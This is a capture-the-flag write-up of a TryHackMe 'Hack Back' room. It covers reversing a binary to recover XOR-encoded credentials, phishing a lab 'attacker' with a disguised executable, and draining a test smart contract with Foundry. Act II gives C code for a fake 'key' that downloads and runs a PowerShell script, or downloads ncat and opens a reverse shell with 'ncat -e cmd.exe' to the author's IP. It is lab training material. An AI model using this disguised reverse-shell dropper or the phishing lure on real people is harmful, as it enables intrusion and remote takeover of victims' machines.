# Hack Back

{% embed url="<https://tryhackme.com/r/room/hackback>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

Hack Back is another purple challenge from THM, divided into three acts. This time we first examine the victim machine to find a suspicious file in Act I. This file, if executed, is responsible for slowing down the machine. By decompiling and reverse engineering the binary, we will find some credentials. In Act II, we follow the theme of the room and hack back, trying to beat the attackers at their own game. With the credentials we found, we gained access to the email account of an attacker and used phishing to trick them into running a reverse shell to gain access to the attacker's machine. There we find a smart contract, which we use in Act III to get the money back.

## ACT I - Investigate

At `C:\` and `C:\Users\Administrator` we find `simpleServer.exe`, which looks very suspicious with its name and location.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fr9sDrEaUsM2cyX4bfYkT%2F2024-09-25_12-40.png?alt=media&#x26;token=e5638068-0db6-4da7-a594-2324d080dee2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0U6SWpFkGuMXUliDEnMZ%2F2024-11-10_00-07.png?alt=media&#x26;token=0bde91d0-986f-4d07-9720-18635cb4c043" alt=""><figcaption></figcaption></figure>

Instead of using IDA on the machine, we use other tools, such as BinaryNinja. For this, we need to transfer the files to our machine. Using `impacket-smbserver` we are able to create an SMB server to share the files.

```
impacket-smbserver smbFolder $(pwd) -smb2support -username test -password test123
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fc7CHRphk6ngIBFgbH4vh%2Fgrafik.png?alt=media&#x26;token=8056da13-bb02-4c19-9541-2cc64d36a35c" alt=""><figcaption></figcaption></figure>

We add a network drive `X:` mapped to the shared folder `\\10.14.90.235\smbFolder` with the username `test` and password `test123`.

```
net use x: \\10.14.90.235\smbFolder /user:test test123
```

Next, we copy the simpleServer.exe to our target machine.

```
cp .\simpleSever.exe x:\
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRTiDML0sO5pLN87cTcM3%2Fgrafik.png?alt=media&#x26;token=a18079e1-71d5-4595-8ae8-f357b9f5a7af" alt=""><figcaption></figcaption></figure>

We open the file in BinaryNinja and select the `Pseudo C` representation.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFsw6jKVpvr2FsWqRaqvw%2Fgrafik.png?alt=media&#x26;token=2eb6e0b4-7b1d-432f-bf03-1b7e06d221eb" alt=""><figcaption></figcaption></figure>

When using `strings`, some suspicious character sequences appear, but none of them seems to be the password. We scroll through the functions and spot those strings again. They are passed to the `sub_140001640` function. The last one is nod passed to `sub_140001640`.<br>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FspQlI0p62pAuQnTDxsyw%2Fgrafik.png?alt=media&#x26;token=5ca06ad7-3d94-43de-8066-bab1779eef4b" alt=""><figcaption></figcaption></figure>

This function, `sub_140001640`, takes a string (arg1) and applies an XOR operation with the integer 5 to each character, effectively decoding or encoding it. The result is stored in arg2 and is null-terminated. As mentioned above, the last character string is not passed to this function, but might be also an encrypted string.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSVBev3hyV5BReGHCiwy6%2Fgrafik.png?alt=media&#x26;token=015a9557-54d9-43e6-a70f-9d6aaea2bad8" alt=""><figcaption></figcaption></figure>

Here's a Python script to decode the given strings. The sequences found are redacted and need to be replaced with the real ones.

{% code title="pass.py" overflow="wrap" lineNumbers="true" %}

```python
def decode_xor(input_string, xor_key=5):
    # Decode each character by XORing with the given key
    decoded_chars = [chr(ord(char) ^ xor_key) for char in input_string]
    # Join characters to form the decoded string
    decoded_string = ''.join(decoded_chars)
    return decoded_string

# Example usage with given strings
encoded_str1 = "REDACTED"
encoded_str2 = "REDACTED"
encoded_str3 = "REDACTED"

decoded_str1 = decode_xor(encoded_str1)
decoded_str2 = decode_xor(encoded_str2)
decoded_str3 = decode_xor(encoded_str3)

print("Decoded String 1:", decoded_str1)
print("Decoded String 2:", decoded_str2)
print("Decoded String 3:", decoded_str3)

```

{% endcode %}

After running the script we find a possible credential set which allows us to answer the first two questions and head to the next task.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVNvboCnykRfGBw1djGWI%2Fgrafik.png?alt=media&#x26;token=ada51da6-8ce0-4097-a0fc-f3462cfa3595" alt=""><figcaption></figcaption></figure>

## ACT II - Hack Back: Phishing

We start with an nmap scan and find serveral ports related to a windows machine. Including a mail server (port 25, 110, 143) and a web server (port 80).

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKk0hMdiQBrlTlTyAjKmG%2Fgrafik.png?alt=media&#x26;token=ce5fe58b-3b3f-4846-8cbc-323dc1da5007" alt=""><figcaption></figcaption></figure>

From the decrypted strings of the binary we find not only some login credentials but also the possible host `berrybears.ioc`. We add this in the `/etc/hosts` file. When we visit the site, we are greeted with a ransom.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0svX7eu44WyyVdclqyqt%2Fgrafik.png?alt=media&#x26;token=50a54e16-34ad-4a60-9ffa-f7374e604441" alt=""><figcaption></figcaption></figure>

Next, we try to find some directories and pages with a recursive scan using Feroxbuster.&#x20;

Of interest are `/mail` and `/rc`. Furthermore, `/mail/doc` was also promising at the beginning, as this probably revealed the mail server used, that was vulnerable to an rce. However, it turned out not to be exploitable.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkisviJAWsmeea2XuvgTU%2Fgrafik.png?alt=media&#x26;token=35e35314-0fb6-462a-8497-5c4ba1495dd3" alt=""><figcaption></figcaption></figure>

At `/mail` we are greeted with a login form. We use the credentials from Act I.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBMWgpwnSWHM0x5XXVTyG%2Fgrafik.png?alt=media&#x26;token=aacc3d6c-6327-4f8b-8274-06e6551f58eb" alt=""><figcaption></figcaption></figure>

We can log in and see a mail from the boss of the threat actor in the inbox. The boss needs the key to get rid of the transactions that continue to pile up. Otherwise it becomes too risky. Unfortunately, we cannot find any answers to the question in the sent folder.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8jxcP9wDhnAXlufq1Qz1%2Fgrafik.png?alt=media&#x26;token=2dc109dc-90b8-40a4-afe1-0cd385c8aefa" alt=""><figcaption></figcaption></figure>

Ok, let's move on to `/rc` for now. And this time we have RoundCube in front of us. We reuse the credentials.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMMI3tl78Of4FklJ84rI3%2Fgrafik.png?alt=media&#x26;token=058b848f-9bc4-4685-b73d-d11f1d6433c9" alt=""><figcaption></figcaption></figure>

Here we find more this time. Amongst other things, we find the mail that may have been used to trick the target into opening a file to unintentionally execute it. A phishing mail.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFdZbfySB6vAIC2sCfBlD%2Fgrafik.png?alt=media&#x26;token=67d33622-d3da-4764-9adf-87b83da86998" alt=""><figcaption></figcaption></figure>

We find the email from the boss again and a reply from our attacker. The key is not sent via mail, instead via the usual channels. The boss doesn't seem to operate as securely as his employees.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDqXEQUvBYVG426hs92Vz%2Fgrafik.png?alt=media&#x26;token=669dcc27-33d0-4e37-9377-9aa52b61b596" alt=""><figcaption></figcaption></figure>

If we try to send a mail without an attachment to the boss, addressing the key, we get an answer. In this case he cannot find the key. So the boss is eager  to open the file we send.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvzrVzrctxOHP5zvJk7RT%2Fgrafik.png?alt=media&#x26;token=adccac46-95aa-45b6-abcf-28cfa2b8e4a1" alt=""><figcaption></figcaption></figure>

Next, we try to disguise a reverse shell as a key and send it to the boss.

An attempt was made to convert a reverse shell created with powercat into an executable using <https://ps2exe.azurewebsites.net/>, but unfortunately without success. Also, `.bat` files or `.ps1` files were not executed. (tested with a request to a hosted web server)

But there is an easier way. Via an executable that runs Powershell commands itself and uses `ncat.exe`. In the first attempts it was a powercat script but that might have got deteced, since only the download from the web server could be observed.

One of many first attempts:&#x20;

{% code title="key.c" overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>
#include <stdlib.h>

int main() {
    // PowerShell download cradle
    char *command = "powershell -Command \"Invoke-WebRequest -Uri 'http://10.14.90.235/script.ps1' -OutFile 'C:\\Windows\\Temp\\script.ps1'; Start-Process 'powershell' -ArgumentList '-ExecutionPolicy Bypass -File C:\\Windows\\Temp\\script.ps1'\"";

    // Execute the command
    int result = system(command);
    return 0;
}

```

{% endcode %}

Compile the code:

```
x86_64-w64-mingw32-gcc key.c -o key.exe
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnU4HtrKAqLGw4mAF9TSv%2Fgrafik.png?alt=media&#x26;token=6cf1deb4-1669-4d5a-954e-162c31e543b5" alt=""><figcaption></figcaption></figure>

Send To Boss:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGD17MJFRylERIQXKkFVy%2Fgrafik.png?alt=media&#x26;token=d752c34d-95e3-4fd5-8046-96d02e394c1f" alt=""><figcaption></figcaption></figure>

The script gets downloaded but not executed since there is not connection back to the listener.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fg6z5pChbjq2I0cJ7iIdn%2Fgrafik.png?alt=media&#x26;token=41962c07-e55d-4203-9cf5-d5957afe25c7" alt=""><figcaption></figcaption></figure>

In this workaround, the `ncat.exe` file is downloaded and saved to `C:\Windows\Temp\ncat.exe`. The program then runs another command that uses `ncat.exe` to connect back to the our machine, creating a reverse shell.

{% code title="key.c" overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>
#include <stdlib.h>

int main() {
    // PowerShell download cradle to download ncat.exe
    char *command1 = "powershell -Command \"Invoke-WebRequest -Uri 'http://10.14.90.235/ncat.exe' -OutFile 'C:\\Windows\\Temp\\ncat.exe'\"";

    // Execute the download command
    int result1 = system(command1);
    // Command to execute ncat.exe with cmd.exe on the specified IP and port
    char *command2 = "powershell -Command \"Start-Process 'C:\\Windows\\Temp\\ncat.exe' -ArgumentList '-e cmd.exe 10.14.90.235 4445'\"";

    // Execute the ncat command
    int result2 = system(command2);

    return 0;
}

```

{% endcode %}

Compile the code:

```
x86_64-w64-mingw32-gcc key.c -o key.exe
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxoSgZebLlvpv0fXoQzWI%2Fgrafik.png?alt=media&#x26;token=9174334a-df8f-42b6-b7c6-459881ef33b0" alt=""><figcaption></figcaption></figure>

Send To Boss:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7QGzjvGW7aSUFLBfY8tu%2Fgrafik.png?alt=media&#x26;token=493b0f3e-dab0-4a18-9afb-9c2edc3d2de6" alt=""><figcaption></figcaption></figure>

The `ncat.exe` gets downloaded...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSyS5o3dRV7R9rYXXNVzW%2Fgrafik.png?alt=media&#x26;token=3fa3f170-00f8-4d9e-a64c-e36ac1c9e35c" alt=""><figcaption></figcaption></figure>

... and executed. We receive a reverse shell on our listener. We are `fisher\administrator`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkT4WdiYkq9XeP6WfhwDn%2Fgrafik.png?alt=media&#x26;token=52686d39-e0b6-4c67-9a36-f969ad86bb35" alt=""><figcaption></figcaption></figure>

On the user's desktop we find the flag for Act II.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWFv2z9J5UqTRtTtx1MqL%2Fgrafik.png?alt=media&#x26;token=c8c67fc7-e315-424f-8f6a-e717b7cdd64c" alt=""><figcaption></figcaption></figure>

We also find a smart contract. This smart contract suggests that we can solve the challenge by simply providing the cleartext authentication string. This is simply XORed with `44` and compared to the stored string. So if we XOR the stored string with `44`, we'll get the correct plaintext string.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrqY6k3yXdlqSH7tMUi2k%2Fgrafik.png?alt=media&#x26;token=7b2096b7-0213-4f8e-b05c-a77b383adbec" alt=""><figcaption></figcaption></figure>

The following python script was used to decode the stored string.

{% code title="" overflow="wrap" lineNumbers="true" %}

```python
def reverse_xor(encoded, key):
    return ''.join(chr(ord(c) ^ key) for c in encoded)

encoded = "REDACTED"
key = 44
decoded = reverse_xor(encoded, key)
print("Decoded input to solve:", decoded)
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrMWQKqCqYMEQ98NdWOiI%2Fgrafik.png?alt=media&#x26;token=58c503ce-84f8-467c-a809-b3c174d553ab" alt=""><figcaption></figcaption></figure>

## ACT III - Hack Back: Smart Contract

We start the final machine and run a Nmap scan. We have three open ports 22 SSH, 80 a web server and port 8545 related to the smart contract challenge.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FlvRSWboG2HZlPffkqgW4%2Fgrafik.png?alt=media&#x26;token=e22e8111-ad3b-4316-a8c5-dd7006fb7300" alt=""><figcaption></figcaption></figure>

If we visit the index page of the web server, we find a smart contract challenge. Slightly modified from the challenge we found in Act II. In addition to the authentication string, we now also have to set the balance of the contract address down to 0. We can achieve that by calling the transfer function on the contract providing the deciphered data and the correct amount.

```
http://10.10.1.229/
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fb7SM7vXVQ4MCU4dPTLz9%2Fgrafik.png?alt=media&#x26;token=e19c25d2-50f8-4620-a443-805325eac7c5" alt=""><figcaption></figcaption></figure>

### Foundry Attempt

This type of challenge is very familiar and has already been used in TriCipher Summit. We can find a solution using Foundry to this at Jaxafeds writeups. Here we can see how to call the functions.

{% embed url="<https://jaxafed.github.io/posts/tryhackme_tricipher_summit/#third-flag>" %}

To install Foundry follow the instructions linked below:

{% embed url="<https://book.getfoundry.sh/getting-started/installation>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWx2RQLTZw5vzZyaEEOAj%2Fgrafik.png?alt=media&#x26;token=69ff44da-f8cf-438a-9bec-425f22828bff" alt=""><figcaption></figcaption></figure>

In this case we need to call the `transfer` function, pass a string and the amount.

{% code overflow="wrap" %}

```
cast send --legacy --rpc-url http://geth:8545 --private-key <PRIVATE KEY> --chain-id 31337 <CONTRACT ADDRESS> "transfer(string,uint256)" "REDACTED" 1000

```

{% endcode %}

The `--legacy` flag is essential in this scenario because it specifies that the transaction should follow the legacy transaction format (pre-EIP-1559). EIP-1559 introduced a new transaction format with separate `maxFeePerGas` and `maxPriorityFeePerGas` fields, which are not supported by nodes or configurations set up for legacy transactions, like the one you're interacting with on chain ID `31337`. Without `--legacy`, the default behavior attempt an EIP-1559 transaction, causing the "unsupported feature: eip1559" error.

To decipher the key we just need to XOR the encrypted key with 44 found in the challenge.

{% code title="decipher-sol-key.py" overflow="wrap" lineNumbers="true" %}

```python
def reverse_xor(encoded, key):
    return ''.join(chr(ord(c) ^ key) for c in encoded)

encoded = "REDACTED"
key = 44
decoded = reverse_xor(encoded, key)
print("Decoded input to solve:", decoded)
```

{% endcode %}

We gather the information needed to make all calls to the contract.

```
Private Key: 0x3a3267b8e226c4e665cb5bbe188d7fa972f3dd9e3f46caa986fd831c5390529c
```

```
Contract Address: 0x80A89a41DF07B3A65913D67407fB00281bda7Da0
```

```
Player Wallet Address: 0x61b782f0b0e094409dc2DaA8Fc5226223ad5b131
```

Next, we use Foundry to make a transaction.

The command sends a transaction on the Ethereum network, invoking the `transfer` function on the contract at address `0x80A89a41DF07B3A65913D67407fB00281bda7Da0` with parameters `"REDACTED"` and `1000` using the specified private key on a custom RPC URL and chain ID `31337`.

{% code overflow="wrap" %}

```
cast send --legacy --rpc-url http://geth:8545 --private-key 0x3a3267b8e226c4e665cb5bbe188d7fa972f3dd9e3f46caa986fd831c5390529c  --chain-id 31337 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 "transfer(string,uint256)" "REDACTED" 1000
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5wpgGvHA5ZeHYGpf5JAX%2Fgrafik.png?alt=media&#x26;token=4e9eaec3-2aed-4b0d-9f1e-e02f2efb186f" alt=""><figcaption></figcaption></figure>

After we have submitted the command we can retrieve the flag on the index page.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fj2RhkVNkefMxbZIMA7Pn%2Fgrafik.png?alt=media&#x26;token=7fc1fb0e-b28f-41d6-9ff0-4f09863f71da" alt=""><figcaption></figcaption></figure>

To verfiy that we have successfully transferred the money, we can call the `getOwnerBalance()` function to check the balance of the target, and the `balanceOf()` function to check the balance of the player's wallet. To do this we use the following calls:

With the following calls using Foundry we can call the functions to check the balances:

{% code overflow="wrap" %}

```
cast call --legacy <CONTRACT ADDRESS> 'getOwnerBalance()' --rpc-url http://geth:8545
```

{% endcode %}

{% code overflow="wrap" %}

```
cast call --legacy <CONTRACT ADDRESS> 'balanceOf(address)' <PLAYER WALLET> --rpc-url http://geth:8545
```

{% endcode %}

#### Before Transaction:

We check the balance before the transaction and see that the target has a balance of `0x3e8`, which is `1000`. The player's wallet is empty.

{% code overflow="wrap" %}

```
cast call --legacy 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 'getOwnerBalance()' --rpc-url http://geth:8545
```

{% endcode %}

{% code overflow="wrap" %}

```
cast call --legacy 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 'balanceOf(address)' 0x61b782f0b0e094409dc2DaA8Fc5226223ad5b131 --rpc-url http://geth:8545
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIr9dvLTQvlVrTHhTIOOL%2Fgrafik.png?alt=media&#x26;token=b6113330-a327-4db3-b474-eb9d54d2fbfd" alt=""><figcaption></figcaption></figure>

#### Transaction

We make the transaction as described above.

{% code overflow="wrap" %}

```
cast send --legacy --rpc-url http://geth:8545 --private-key 0x3a3267b8e226c4e665cb5bbe188d7fa972f3dd9e3f46caa986fd831c5390529c  --chain-id 31337 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 "transfer(string,uint256)" "REDACTED" 1000
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvBcgO9MxjlNzsMhDERpS%2Fgrafik.png?alt=media&#x26;token=a0a1fa79-7e58-45dd-a447-cfad5e5c7754" alt=""><figcaption></figcaption></figure>

#### After Transaction:

After the transaction, we can confirm that it worked properly. The target's balance has dropped to `0` and the player's wallet now has a balance of `1000`.

{% code overflow="wrap" %}

```
cast call --legacy 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 'getOwnerBalance()' --rpc-url http://geth:8545
```

{% endcode %}

{% code overflow="wrap" %}

```
cast call --legacy 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 'balanceOf(address)' 0x61b782f0b0e094409dc2DaA8Fc5226223ad5b131 --rpc-url http://geth:8545
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FlrcvsCE2ATqiXnSQSB4y%2Fgrafik.png?alt=media&#x26;token=36a55b02-6f02-4871-b745-4036b1027fdb" alt=""><figcaption></figcaption></figure>

### Faulty? Initial Attempt (WEB3)

{% hint style="info" %}
The following attempt is error prone, as it worked the first time, but when confirmed a second time for the writeup, it does not work properly. It does not fully transfer the 1 ETH to the player's address and only reduces the wallet amount of the target by the transaction costs. Setting the gas value to 2000000 in the script will solve the challenge.
{% endhint %}

{% hint style="info" %}
After confirming it a third time, the script might have worked properly. For those interested, I have left this solution in the writeup.
{% endhint %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGkcuzlJpQu5dGonxY7wA%2Fgrafik.png?alt=media&#x26;token=bf0295e3-eefc-4e1c-b932-fc03e72cb631" alt=""><figcaption></figcaption></figure>

Alternatively, the challenge can also be solved using web3 in python. All necessary information such as wallet address, private key, contract address, RPC URL, chain ID and block time can be found on the index page.

* **Wallet Address**: A unique identifier for a digital wallet, used to send and receive cryptocurrency on the blockchain.
* **Private Key**: A secret key allowing the wallet owner to authorize transactions and access funds; must be kept confidential to prevent unauthorized access.
* **Contract Address**: The unique address assigned to a deployed smart contract on the blockchain, used for interacting with its functions.
* **RPC URL**: A Remote Procedure Call (RPC) URL provides a connection endpoint to a blockchain node, allowing communication with the blockchain network.
* **Chain ID**: A unique identifier for a specific blockchain network (e.g., Ethereum mainnet, testnet) to prevent transaction cross-chain issues.
* **Block**: A data structure that stores a group of validated transactions on the blockchain, linked sequentially to form the blockchain ledger.

To solve the challenge GPT was used to create a script but failed initially with a wrong `gas` value. In a smart contract, gas is the unit of computational cost required to execute operations on the Ethereum blockchain, paid by users to incentivize network validators and to prevent misuse of resources.

It was to high, so the amount was not porperly withdrawn, after setting it to low the following error was thrown and gave the amount needed 21756 which was then used in the final script.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FO7EtDvaQdE5uikyAy3A5%2Fgrafik.png?alt=media&#x26;token=c17b1b11-fd3f-4f69-b3c8-8c150983d95f" alt=""><figcaption></figcaption></figure>

The target string is redacted and need to be replaced.

This code is designed to interact with a smart contract on an Ethereum-compatible blockchain using the Web3 library, aiming to complete a challenge by transferring tokens with specific encoded data. Here’s a step-by-step explanation:

1. **Setting up the Web3 Connection:**\
   The code connects to an Ethereum node at `http://geth:8545` using the Web3 HTTP provider. It also defines both the smart contract address and the player's wallet address, alongside the player’s private key, which will be used to sign transactions.
2. **Defining the Contract:**\
   The contract ABI (Application Binary Interface) specifies the available functions in the contract:
   * `decode`: This function XOR-decodes a string using a specified key (although it is not directly used here).
   * `transfer`: This function allows transferring a token or value with specified `data` (the encoded message) and an `amount`.
   * `isSolved`: This function checks if the challenge has been successfully completed.
3. **Encoding Data with XOR:**\
   The `xor_encode` function takes the target string `"REDACTED"` and encodes it with an XOR key of `44`. This encoded data will be passed as part of the transaction in the `transfer` function to meet the challenge requirements.
4. **Building the Transaction:**\
   To perform the transfer, the code calls the `transfer` function of the contract with the encoded data and sets the `transfer_amount` to 1000 tokens. It fetches a nonce (the transaction count for the player address) to ensure transaction uniqueness and builds the transaction with specific settings, including gas limits, chain ID (31337), and gas price. Setting the gas price to 21756  wont solve it, but setting it arround 2000000 will solve the challenge.
5. **Signing and Sending the Transaction:**\
   The code signs the transaction using the player's private key and then sends it to the blockchain. Afterward, it waits for the transaction to complete, retrieving a transaction receipt for verification.
6. **Checking if the Challenge is Solved:**\
   Finally, the code calls the `isSolved` function on the contract. If it returns `True`, it confirms that the challenge has been completed successfully.

In essence, this code attempts to solve a smart contract-based challenge by performing a transfer transaction with XOR-encoded data, then verifies if the solution was successful by checking the `isSolved` function on the contract. The transaction receipt provides details for tracking the transaction's success on the blockchain.

{% code title="solve.py" overflow="wrap" lineNumbers="true" %}

```python
from web3 import Web3
import codecs

# Set up Web3 connection
rpc_url = "http://geth:8545"
web3 = Web3(Web3.HTTPProvider(rpc_url))

# Contract and Player details
contract_address = Web3.to_checksum_address("0xc731Ce79Ee1ca7ab1D4084419000464301A4f8Be")
player_address = Web3.to_checksum_address("0x8f9aC6872B4e2663940EBbCd310458496ac45e06")

private_key = "0x7b005e85b4293a12d2e51d023e8b4341f5375a04572174423b7c67dc84e6a31a"

# Contract ABI
contract_abi = [
    {
        "inputs": [
            {"internalType": "bytes", "name": "data", "type": "bytes"},
            {"internalType": "uint8", "name": "key", "type": "uint8"},
        ],
        "name": "decode",
        "outputs": [{"internalType": "bytes", "name": "", "type": "bytes"}],
        "stateMutability": "pure",
        "type": "function",
    },
    {
        "inputs": [
            {"internalType": "string", "name": "data", "type": "string"},
            {"internalType": "uint256", "name": "amount", "type": "uint256"},
        ],
        "name": "transfer",
        "outputs": [{"internalType": "bool", "name": "out", "type": "bool"}],
        "stateMutability": "nonpayable",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "isSolved",
        "outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
        "stateMutability": "view",
        "type": "function",
    },
]

# Initialize contract instance
contract = web3.eth.contract(address=contract_address, abi=contract_abi)

# XOR Encoding function
def xor_encode(data, key):
    return bytes([b ^ key for b in data])

# Encoded data to pass the challenge
target_string = "REDACTED"
key = 44
encoded_data = xor_encode(target_string.encode(), key).decode('latin1')

# Set the transfer amount
transfer_amount = 1000

# Build the transaction
nonce = web3.eth.get_transaction_count(player_address)
tx = contract.functions.transfer(encoded_data, transfer_amount).build_transaction({
    'chainId': 31337,
    'gas': 21756,
    'gasPrice': web3.to_wei('20', 'gwei'),
    'nonce': nonce,
})

# Sign the transaction
signed_tx = web3.eth.account.sign_transaction(tx, private_key=private_key)

# Send the transaction
tx_hash = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction receipt:", tx_receipt)

# Verify if challenge is solved
is_solved = contract.functions.isSolved().call()
print("Challenge Solved:", is_solved)

```

{% endcode %}

Afer running the script we get the responsed `Challenge Solved: True`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FB74HUs5uC81sdOahCxBL%2Fgrafik.png?alt=media&#x26;token=f79c179e-259f-4177-9311-5e74841d9dab" alt=""><figcaption></figcaption></figure>

We can now click on `Get Flag` to receive the final flag.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYkv82SxyBthUXEtMXcab%2Fgrafik.png?alt=media&#x26;token=7932950c-f614-4b3a-9fb1-456aefc92925" alt=""><figcaption></figcaption></figure>
